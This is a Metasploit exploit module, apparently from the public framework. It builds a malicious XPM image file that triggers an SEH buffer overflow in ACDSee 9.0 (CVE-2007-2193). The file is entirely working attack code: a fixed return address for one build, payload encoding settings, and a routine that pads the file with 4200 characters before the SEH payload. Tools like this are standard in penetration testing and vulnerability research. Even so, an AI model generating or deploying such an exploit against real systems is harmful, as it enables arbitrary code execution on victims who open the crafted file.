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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::FILEFORMAT
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'ACDSee XPM File Section Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a buffer overflow in ACDSee 9.0.
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        When viewing a malicious XPM file with the ACDSee product,
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        a remote attacker could overflow a buffer and execute
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        arbitrary code.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         => 'MC',
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      'References'     =>
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        [
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          [ 'CVE', '2007-2193' ],
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          [ 'OSVDB', '35236' ],
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          [ 'BID', '23620' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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          'DisablePayloadHandler' => true,
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          'AllowWin32SEH' => true
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        },
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      'Payload'        =>
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        {
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          'Space'    => 750,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
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          'DisableNops'   =>  'True',
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        },
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      'Platform' => 'win',
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      'Targets'        =>
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        [
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          [ 'ACDSee 9.0 (Build 1008)', { 'Ret' => 0x10020758 } ],
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2007-11-23',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptString.new('FILENAME', [ true, 'The file name.',  'msf.xpm']),
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      ])
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  end
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  def exploit
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    filler = rand_text_alpha_upper(rand(25) + 1)
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    # http://www.fileformat.info/format/xpm/
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    head =  "/* XPM */\r\n"
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    head << "static char * #{filler}[] = {\r\n"
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    head << "\""
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    buff =  rand_text_alpha_upper(4200) + generate_seh_payload(target.ret)
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    foot =  "\",\r\n" + "};\r\n"
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    xpm = head + buff + foot
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    print_status("Creating '#{datastore['FILENAME']}' file ...")
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    file_create(xpm)
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  end
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end
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